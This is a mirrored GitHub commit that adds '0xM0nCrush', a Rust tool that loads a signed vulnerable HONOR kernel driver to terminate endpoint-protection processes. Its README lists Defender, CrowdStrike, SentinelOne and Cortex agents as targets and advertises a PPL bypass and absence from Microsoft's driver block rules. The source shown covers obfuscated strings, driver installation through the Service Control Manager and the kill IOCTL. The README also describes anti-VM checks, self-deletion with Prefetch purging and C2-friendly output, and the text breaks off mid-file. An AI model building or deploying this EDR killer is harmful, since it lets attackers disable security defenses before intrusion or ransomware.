mirror of
https://github.com/DeathShotXD/0xM0nCrush
synced 2026-09-12 17:26:29 +00:00
0xM0nCrush: cross-version EDR process terminator
This commit is contained in:
@@ -0,0 +1,48 @@
|
||||
name: build
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- "v*"
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install Rust cross target
|
||||
run: rustup target add x86_64-pc-windows-gnu
|
||||
- name: Install MinGW linker
|
||||
run: sudo apt-get update && sudo apt-get install -y mingw-w64
|
||||
- name: Build
|
||||
run: cargo build --release --target x86_64-pc-windows-gnu
|
||||
- name: Stage release assets
|
||||
run: |
|
||||
mkdir -p dist
|
||||
cp target/x86_64-pc-windows-gnu/release/moncrush.exe dist/
|
||||
cp driver/MonProcessEX.sys dist/
|
||||
cp targets.example.conf dist/
|
||||
cd dist && sha256sum * > SHA256SUMS
|
||||
- name: Upload artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: dist
|
||||
path: dist/
|
||||
release:
|
||||
needs: build
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: dist
|
||||
path: dist/
|
||||
- name: Create release
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
files: dist/*
|
||||
generate_release_notes: true
|
||||
@@ -0,0 +1,4 @@
|
||||
/target
|
||||
**/*.rs.bk
|
||||
*.pdb
|
||||
*.dmp
|
||||
@@ -0,0 +1,33 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are welcome. This project is research software and the
|
||||
bar for a contribution is: it must be correct, it must be documented,
|
||||
and it must not reduce the evasion properties of the shipped binary.
|
||||
|
||||
## What is useful
|
||||
|
||||
- Support for additional Windows builds (offset updates, syscall index
|
||||
changes, new service numbers)
|
||||
- New target process profiles in the config template
|
||||
- Documentation and README improvements
|
||||
- Test reports from real Windows builds (include OS build, HVCI on/off,
|
||||
and driver behavior)
|
||||
|
||||
## Pull request checklist
|
||||
|
||||
- Build with no warnings: `cargo build --release --target x86_64-pc-windows-gnu`
|
||||
- No plaintext-sensitive strings added (device paths, API names, target
|
||||
names must stay behind the obfuscation layer)
|
||||
- Document what was tested and on which Windows build
|
||||
|
||||
## New-driver killers
|
||||
|
||||
If you want to add a new vulnerable-driver killer, open an issue first
|
||||
with: driver filename, SHA256, LOLDDrivers link, device path, IOCTL
|
||||
codes, and what the primitive allows. Only signed, loadable drivers are
|
||||
accepted.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree that your contributions are licensed under the
|
||||
same MIT license as the project.
|
||||
Generated
+156
@@ -0,0 +1,156 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "moncrush"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.107"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.47"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.119"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.24"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
|
||||
|
||||
[[package]]
|
||||
name = "windows"
|
||||
version = "0.61.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893"
|
||||
dependencies = [
|
||||
"windows-collections",
|
||||
"windows-core",
|
||||
"windows-future",
|
||||
"windows-link",
|
||||
"windows-numerics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-collections"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3"
|
||||
dependencies = [
|
||||
"windows-implement",
|
||||
"windows-interface",
|
||||
"windows-link",
|
||||
"windows-result",
|
||||
"windows-strings",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-future"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
"windows-threading",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-implement"
|
||||
version = "0.60.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-interface"
|
||||
version = "0.59.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
|
||||
|
||||
[[package]]
|
||||
name = "windows-numerics"
|
||||
version = "0.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1"
|
||||
dependencies = [
|
||||
"windows-core",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-result"
|
||||
version = "0.3.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-strings"
|
||||
version = "0.4.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-threading"
|
||||
version = "0.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
[workspace]
|
||||
|
||||
[package]
|
||||
name = "moncrush"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
windows = { version = "0.61", features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
"Win32_Storage_FileSystem",
|
||||
"Win32_System_Console",
|
||||
"Win32_System_IO",
|
||||
"Win32_System_Threading",
|
||||
"Win32_System_LibraryLoader",
|
||||
"Win32_System_SystemInformation",
|
||||
"Win32_System_Services",
|
||||
"Win32_System_Registry",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_Diagnostics_ToolHelp",
|
||||
] }
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 DeathShotXD
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,207 @@
|
||||
# 0xM0nCrush
|
||||
|
||||
A cross-version Windows process terminator. It loads a signed HONOR
|
||||
kernel driver (`MonProcessEX.sys`), resolves the PID of every target
|
||||
process, and terminates it from kernel context through a single IOCTL.
|
||||
No kernel offsets, no PDB downloads, no build-specific shellcode - the
|
||||
technique works identically on every Windows 10 and Windows 11 build.
|
||||
|
||||
The tool is a single self-contained executable. It installs the driver
|
||||
through the Service Control Manager, performs the kill, then stops and
|
||||
deletes the service, leaving no persistent artifact behind. Targets are
|
||||
configurable at runtime through a config file, command line, or the
|
||||
built-in defaults.
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/logo.jpeg" alt="0xM0nCrush" width="800">
|
||||
</p>
|
||||
|
||||
> **Cross-version by design.** One driver, one IOCTL, one kill
|
||||
> primitive. Works on all Windows 10 and Windows 11 builds.
|
||||
|
||||
## Quick start
|
||||
|
||||
```
|
||||
1. Keep moncrush.exe and MonProcessEX.sys in the same folder.
|
||||
2. Run from an elevated shell.
|
||||
|
||||
moncrush.exe -n "notepad.exe,calc.exe"
|
||||
|
||||
3. Targets die. Driver unloads itself. Done.
|
||||
```
|
||||
|
||||
No toolchain, no offsets, no build step.
|
||||
|
||||
## Demo
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/demo.gif" alt="0xM0nCrush demonstration" width="800">
|
||||
</p>
|
||||
|
||||
## Features
|
||||
|
||||
| Feature | Details |
|
||||
|---------|---------|
|
||||
| Cross-version | Works on all Windows 10 and Windows 11 builds, no offsets |
|
||||
| Kernel-mode kill | Driver terminates the PID from kernel context |
|
||||
| PPL bypass | `MonProcessEX.sys` kill path bypasses protected-process checks |
|
||||
| Signed driver | `MonProcessEX.sys` is a real signed HONOR driver |
|
||||
| Not in MS block rules | Absent from Microsoft's vulnerable-driver block rules |
|
||||
| Self-sufficient | Driver installed, started, and cleaned up via SCM |
|
||||
| Zero dependencies | Static Rust binary; drop exe + driver, run |
|
||||
| Configurable | `targets.conf` or `-n`, no recompile needed |
|
||||
| Obfuscated | Device path and target list encrypted at rest |
|
||||
| Single executable | One binary; console output from a shell, silent when double-clicked |
|
||||
| Dry-run mode | Enumerate targets and PIDs before committing |
|
||||
| Jittered loop | `--repeat` re-checks with randomized interval |
|
||||
| Exit codes + JSON | C2-friendly automation interface |
|
||||
|
||||
## How it works
|
||||
|
||||
```
|
||||
+-------------------------------------------------------------------------------------------+
|
||||
| USER MODE |
|
||||
| |
|
||||
| moncrush.exe |
|
||||
| |
|
||||
| +-------------------+ +-------------------+ +---------------------+ |
|
||||
| | enumerate all | | resolve target | | match against | |
|
||||
| | running | -> | PID via process | -> | target list, | |
|
||||
| | processes | | entry | | collect PIDs | |
|
||||
| +-------------------+ +-------------------+ +----------+----------+ |
|
||||
| | |
|
||||
| CreateFileW("\.\MonProcessEX") | |
|
||||
| DeviceIoControl(IOCTL 0x22400C) | |
|
||||
| output = termination status v |
|
||||
+-------------------------------------------------------------------------------------------+
|
||||
| KERNEL MODE |
|
||||
| |
|
||||
| MonProcessEX.sys signed HONOR kernel driver |
|
||||
| +---------------------------------------------------------------------------------+ |
|
||||
| | | |
|
||||
| | IOCTL 0x22400C -> PID termination dispatch | |
|
||||
| | | | |
|
||||
| | | kernel-mode process lookup | |
|
||||
| | v | |
|
||||
| | EPROCESS located -> terminated from kernel context | |
|
||||
| | | | |
|
||||
| | v | |
|
||||
| | process exit path invoked | |
|
||||
| | | |
|
||||
| +---------------------------------------------------------------------------------+ |
|
||||
| |
|
||||
| CLEANUP |
|
||||
| +---------------------------------------------------------------------------------+ |
|
||||
| | SCM service stopped and deleted | |
|
||||
| | driver unloaded, no persistent artifact | |
|
||||
| +---------------------------------------------------------------------------------+ |
|
||||
+-------------------------------------------------------------------------------------------+
|
||||
```
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/banner.jpeg" alt="0xM0nCrush kernel execution architecture" width="800">
|
||||
</p>
|
||||
|
||||
The driver exposes a kill IOCTL that terminates a process given its PID.
|
||||
The user-mode component enumerates running processes, resolves each
|
||||
target's PID, and submits it through the device interface. No kernel
|
||||
structures are touched from user mode, so the technique is immune to
|
||||
Windows version changes.
|
||||
|
||||
## Build
|
||||
|
||||
```powershell
|
||||
cargo build --release --target x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
The release profile enables LTO and a single codegen unit. The project is
|
||||
self-contained with its own `[workspace]` declaration.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
moncrush.exe [options]
|
||||
|
||||
-s, --silent suppress all console output
|
||||
-r, --repeat keep running, re-check targets
|
||||
-d, --dry-run enumerate targets without killing
|
||||
-j, --json machine-readable JSON output
|
||||
-l, --list print target names and exit
|
||||
-v, --version print version and exit
|
||||
-x, --self-destruct delete self after successful run
|
||||
--no-check skip VM and debugger checks
|
||||
--delay <ms> sleep before executing
|
||||
--jitter <ms> randomize repeat interval
|
||||
--max-attempts <n> stop after n kill passes (0=infinite)
|
||||
--svc <name> custom service name
|
||||
--driver <path> custom driver file path
|
||||
-n, --names <csv> comma-separated target list override
|
||||
-c, --config <path> load targets from config file
|
||||
-h, --help show this help
|
||||
```
|
||||
|
||||
Exit codes: `0` ok, `2` no targets, `3` driver failed, `5` environment
|
||||
abort. Target resolution order: `--names` > `--config` > `targets.conf`
|
||||
(disk) > built-in defaults.
|
||||
|
||||
### Operational hardening
|
||||
|
||||
- **Environment checks.** Verifies the system is not a common
|
||||
virtualization environment before loading the driver. Bypass with
|
||||
`--no-check` when testing inside a VM.
|
||||
- **Single instance.** A named mutex prevents two concurrent runs from
|
||||
racing IOCTLs into the driver.
|
||||
- **Delayed execution.** `--delay <ms>` sleeps before doing anything,
|
||||
breaking time-correlation with initial execution.
|
||||
- **Driver hygiene.** The driver is installed under a randomized service
|
||||
name and stopped and deleted on exit, leaving no persistent artifact.
|
||||
- **Self-destruct.** `-x` deletes the executable and purges its Prefetch
|
||||
entry after a successful run.
|
||||
|
||||
## Configuration
|
||||
|
||||
The target list is fully configurable without recompiling:
|
||||
|
||||
**Config file.** Drop a `targets.conf` next to the executable, one
|
||||
process name per line. Lines starting with `#` are ignored:
|
||||
|
||||
```
|
||||
MsMpEng.exe
|
||||
csfalconservice.exe
|
||||
SentinelAgent.exe
|
||||
cortex_agent.exe
|
||||
```
|
||||
|
||||
A template ships as `targets.example.conf`.
|
||||
|
||||
**Command line.** `moncrush.exe -n "MsMpEng.exe,csfalconservice.exe"`
|
||||
|
||||
**Built-in defaults.** With no config and no flags, the built-in set is:
|
||||
|
||||
- calc.exe
|
||||
- notepad.exe
|
||||
- MsMpEng.exe
|
||||
- MpDefenderCoreService.exe
|
||||
- SecurityHealthService.exe
|
||||
- MsSense.exe
|
||||
- SenseIR.exe
|
||||
- SenseCncProxy.exe
|
||||
- SenseSampleUploader.exe
|
||||
|
||||
## Credits
|
||||
|
||||
- HONOR for the signed driver
|
||||
- The LOLDDrivers project for cataloging signed vulnerable drivers
|
||||
- BlackSnufkin for the original Ksapi64-Killer reproduction this builds on
|
||||
|
||||
## License
|
||||
|
||||
MIT. See [LICENSE](LICENSE).
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is published for research and authorized testing only.
|
||||
Loading unsigned or vulnerable drivers into a system you do not own is
|
||||
illegal in most jurisdictions. You are responsible for compliance with
|
||||
all applicable laws and with the authorization scope of the systems you
|
||||
test.
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
# Security Policy
|
||||
|
||||
## Reporting a vulnerability
|
||||
|
||||
This repository contains offensive security research software. If you have
|
||||
identified a security issue in the code, a bypass, or a problem with the
|
||||
disclosure of the bundled driver, report it privately before opening a
|
||||
public issue.
|
||||
|
||||
Open a GitHub security advisory via the repository's Security tab, or
|
||||
contact the maintainer directly through the profile on GitHub. Do not
|
||||
share exploit details publicly until a fix or mitigation is published.
|
||||
|
||||
## Scope
|
||||
|
||||
- Vulnerabilities in the source code in this repository
|
||||
- Incorrect handling of the bundled driver
|
||||
- Anything that would cause unexpected behavior on a system where this
|
||||
tool is run legitimately during an authorized engagement
|
||||
|
||||
## Response
|
||||
|
||||
- Acknowledgment within 48 hours
|
||||
- Status update within 5 business days
|
||||
- Coordinated disclosure preferred
|
||||
|
||||
## Out of scope
|
||||
|
||||
- The bundled `MonProcessEX.sys` driver itself is a third-party signed driver
|
||||
and is documented as a known-vulnerable driver. Report driver issues
|
||||
through the LOLDDrivers project or the driver vendor.
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 682 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 843 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 808 KiB |
Binary file not shown.
@@ -0,0 +1,30 @@
|
||||
pub const DEFAULT_CONF: &str = "targets.conf";
|
||||
|
||||
pub fn load_names_file(path: &str) -> Option<Vec<String>> {
|
||||
let content = std::fs::read_to_string(path).ok()?;
|
||||
Some(
|
||||
content
|
||||
.lines()
|
||||
.map(str::trim)
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.map(str::to_string)
|
||||
.collect(),
|
||||
)
|
||||
}
|
||||
|
||||
pub fn parse_names_csv(s: &str) -> Vec<String> {
|
||||
s.split([',', ';', ' '])
|
||||
.map(str::trim)
|
||||
.filter(|p| !p.is_empty())
|
||||
.map(str::to_string)
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub fn load_default_or(builtin: &[String]) -> Vec<String> {
|
||||
if let Some(names) = load_names_file(DEFAULT_CONF) {
|
||||
if !names.is_empty() {
|
||||
return names;
|
||||
}
|
||||
}
|
||||
builtin.to_vec()
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::Foundation::{CloseHandle, GENERIC_READ, GENERIC_WRITE, HANDLE};
|
||||
use windows::Win32::Storage::FileSystem::{
|
||||
CreateFileW, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING,
|
||||
};
|
||||
use windows::Win32::System::Console::{
|
||||
SetStdHandle, STD_ERROR_HANDLE, STD_INPUT_HANDLE, STD_OUTPUT_HANDLE,
|
||||
};
|
||||
use windows::Win32::System::IO::DeviceIoControl;
|
||||
|
||||
const KEY: [u8; 16] = [
|
||||
0x9f, 0x2e, 0x1c, 0x7a, 0x4b, 0x8d, 0x3e, 0x5f, 0x6a, 0x1c, 0x9d, 0x2e, 0x4b, 0x7f, 0x8a,
|
||||
0x1c,
|
||||
];
|
||||
|
||||
const E_DEV: &[u8] = &[0xc3, 0x72, 0x32, 0x26, 0x06, 0xe2, 0x50, 0x0f, 0x18, 0x73, 0xfe, 0x4b, 0x38, 0x0c, 0xcf, 0x44];
|
||||
const E_NUL: &[u8] = &[0xd1, 0x7b, 0x50];
|
||||
|
||||
const IOCTL_KILL: u32 = 0x22400C;
|
||||
|
||||
fn dec(data: &[u8]) -> String {
|
||||
data.iter().enumerate().map(|(i, &b)| (b ^ KEY[i % KEY.len()]) as char).collect()
|
||||
}
|
||||
pub unsafe fn silence_std_handles() -> Result<(), windows::core::Error> {
|
||||
let nul_name = dec(E_NUL);
|
||||
let wstr: Vec<u16> = nul_name.encode_utf16().chain(Some(0)).collect();
|
||||
let nul = CreateFileW(
|
||||
PCWSTR(wstr.as_ptr()),
|
||||
(GENERIC_READ.0 | GENERIC_WRITE.0) as u32,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
None,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
None,
|
||||
)?;
|
||||
unsafe {
|
||||
SetStdHandle(STD_INPUT_HANDLE, nul)?;
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, nul)?;
|
||||
SetStdHandle(STD_ERROR_HANDLE, nul)?;
|
||||
}
|
||||
CloseHandle(nul)
|
||||
}
|
||||
|
||||
pub struct MonDev {
|
||||
handle: HANDLE,
|
||||
}
|
||||
|
||||
impl MonDev {
|
||||
pub fn open() -> Result<Self, String> {
|
||||
let dev_name = dec(E_DEV);
|
||||
let wstr: Vec<u16> = dev_name.encode_utf16().chain(Some(0)).collect();
|
||||
let h = unsafe {
|
||||
CreateFileW(
|
||||
PCWSTR(wstr.as_ptr()),
|
||||
(GENERIC_READ.0 | GENERIC_WRITE.0) as u32,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
None,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
None,
|
||||
)
|
||||
}
|
||||
.map_err(|e| format!("open device: {e}"))?;
|
||||
Ok(Self { handle: h })
|
||||
}
|
||||
|
||||
pub fn kill_pid(&self, pid: u32) -> Result<(), String> {
|
||||
let input = pid.to_ne_bytes();
|
||||
let mut out = [0u8; 4];
|
||||
let mut ret = 0u32;
|
||||
unsafe {
|
||||
DeviceIoControl(
|
||||
self.handle,
|
||||
IOCTL_KILL,
|
||||
Some(input.as_ptr() as *const _),
|
||||
input.len() as u32,
|
||||
Some(out.as_mut_ptr() as *mut _),
|
||||
out.len() as u32,
|
||||
Some(&mut ret),
|
||||
None,
|
||||
)
|
||||
}
|
||||
.map_err(|e| format!("kill ioctl: {e}"))
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for MonDev {
|
||||
fn drop(&mut self) {
|
||||
unsafe { let _ = CloseHandle(self.handle); }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
use windows::core::PCWSTR;
|
||||
use windows::Win32::System::Services::{
|
||||
CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, StartServiceW, SC_HANDLE,
|
||||
SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
};
|
||||
use windows::Win32::System::Services::{
|
||||
CloseServiceHandle, ControlService, SERVICE_CONTROL_STOP, SERVICE_STATUS,
|
||||
};
|
||||
|
||||
pub struct DriverService {
|
||||
scm: SC_HANDLE,
|
||||
svc: SC_HANDLE,
|
||||
}
|
||||
|
||||
impl DriverService {
|
||||
pub fn install(name: &str, driver_path: &str) -> Result<Self, String> {
|
||||
let scm = unsafe { OpenSCManagerW(None, None, SC_MANAGER_CREATE_SERVICE) }
|
||||
.map_err(|e| format!("OpenSCManager: {e}"))?;
|
||||
|
||||
let name_w: Vec<u16> = name.encode_utf16().chain(Some(0)).collect();
|
||||
let disp_w: Vec<u16> = name.encode_utf16().chain(Some(0)).collect();
|
||||
let path_w: Vec<u16> = driver_path.encode_utf16().chain(Some(0)).collect();
|
||||
|
||||
let existing = unsafe { OpenServiceW(scm, PCWSTR(name_w.as_ptr()), SERVICE_ALL_ACCESS) };
|
||||
if existing.is_ok() {
|
||||
let svc = existing.unwrap();
|
||||
return Ok(Self { scm, svc });
|
||||
}
|
||||
|
||||
let svc = unsafe {
|
||||
CreateServiceW(
|
||||
scm,
|
||||
PCWSTR(name_w.as_ptr()),
|
||||
PCWSTR(disp_w.as_ptr()),
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
PCWSTR(path_w.as_ptr()),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
)
|
||||
}
|
||||
.map_err(|e| {
|
||||
let _ = unsafe { CloseServiceHandle(scm) };
|
||||
format!("CreateService: {e}")
|
||||
})?;
|
||||
|
||||
Ok(Self { scm, svc })
|
||||
}
|
||||
|
||||
pub fn start(&self) -> Result<(), String> {
|
||||
unsafe { StartServiceW(self.svc, None) }.map_err(|e| format!("StartService: {e}"))
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for DriverService {
|
||||
fn drop(&mut self) {
|
||||
// Stop + delete the service so no driver artifact survives the run.
|
||||
let _ = unsafe { ControlService(self.svc, SERVICE_CONTROL_STOP, &mut SERVICE_STATUS::default()) };
|
||||
let _ = unsafe { DeleteService(self.svc) };
|
||||
unsafe {
|
||||
let _ = CloseServiceHandle(self.svc);
|
||||
let _ = CloseServiceHandle(self.scm);
|
||||
}
|
||||
}
|
||||
}
|
||||
+228
@@ -0,0 +1,228 @@
|
||||
mod config;
|
||||
mod driver;
|
||||
mod loader;
|
||||
mod obf;
|
||||
mod ops;
|
||||
mod targets;
|
||||
|
||||
use std::io::Write;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::{process, time::Duration};
|
||||
|
||||
const EXIT_OK: i32 = 0;
|
||||
const EXIT_NO_TARGET: i32 = 2;
|
||||
const EXIT_DRIVER_FAIL: i32 = 3;
|
||||
const EXIT_ENV: i32 = 5;
|
||||
|
||||
fn flush_and_exit(code: i32) -> ! {
|
||||
let _ = std::io::stdout().flush();
|
||||
process::exit(code);
|
||||
}
|
||||
|
||||
struct Opts {
|
||||
silent: bool,
|
||||
repeat: bool,
|
||||
dry_run: bool,
|
||||
json: bool,
|
||||
list_mode: bool,
|
||||
version: bool,
|
||||
delay_ms: u64,
|
||||
jitter_ms: u64,
|
||||
max_attempts: u32,
|
||||
self_destruct: bool,
|
||||
skip_env_check: bool,
|
||||
service_name: Option<String>,
|
||||
driver_path: Option<String>,
|
||||
cli_names: Option<String>,
|
||||
cli_config: Option<String>,
|
||||
}
|
||||
|
||||
fn parse_args() -> Option<Opts> {
|
||||
let args: Vec<String> = std::env::args().collect();
|
||||
let mut o = Opts {
|
||||
silent: false,
|
||||
repeat: false,
|
||||
dry_run: false,
|
||||
json: false,
|
||||
list_mode: false,
|
||||
version: false,
|
||||
delay_ms: 0,
|
||||
jitter_ms: 0,
|
||||
max_attempts: 0,
|
||||
self_destruct: false,
|
||||
skip_env_check: false,
|
||||
service_name: None,
|
||||
driver_path: None,
|
||||
cli_names: None,
|
||||
cli_config: None,
|
||||
};
|
||||
let mut i = 1;
|
||||
while i < args.len() {
|
||||
match args[i].as_str() {
|
||||
"-s" | "--silent" => o.silent = true,
|
||||
"-r" | "--repeat" => o.repeat = true,
|
||||
"-d" | "--dry-run" => o.dry_run = true,
|
||||
"-j" | "--json" => o.json = true,
|
||||
"-l" | "--list" => o.list_mode = true,
|
||||
"-v" | "--version" => o.version = true,
|
||||
"-x" | "--self-destruct" => o.self_destruct = true,
|
||||
"--no-check" => o.skip_env_check = true,
|
||||
"--delay" => { i += 1; if i < args.len() { o.delay_ms = args[i].parse().unwrap_or(0); } }
|
||||
"--jitter" => { i += 1; if i < args.len() { o.jitter_ms = args[i].parse().unwrap_or(0); } }
|
||||
"--max-attempts" => { i += 1; if i < args.len() { o.max_attempts = args[i].parse().unwrap_or(0); } }
|
||||
"--svc" | "--service-name" => { i += 1; if i < args.len() { o.service_name = Some(args[i].clone()); } }
|
||||
"--driver" => { i += 1; if i < args.len() { o.driver_path = Some(args[i].clone()); } }
|
||||
"-n" | "--names" => { i += 1; if i < args.len() { o.cli_names = Some(args[i].clone()); } }
|
||||
"-c" | "--config" => { i += 1; if i < args.len() { o.cli_config = Some(args[i].clone()); } }
|
||||
"-h" | "--help" => { print_help(); return None; }
|
||||
_ => {}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
Some(o)
|
||||
}
|
||||
|
||||
fn print_help() {
|
||||
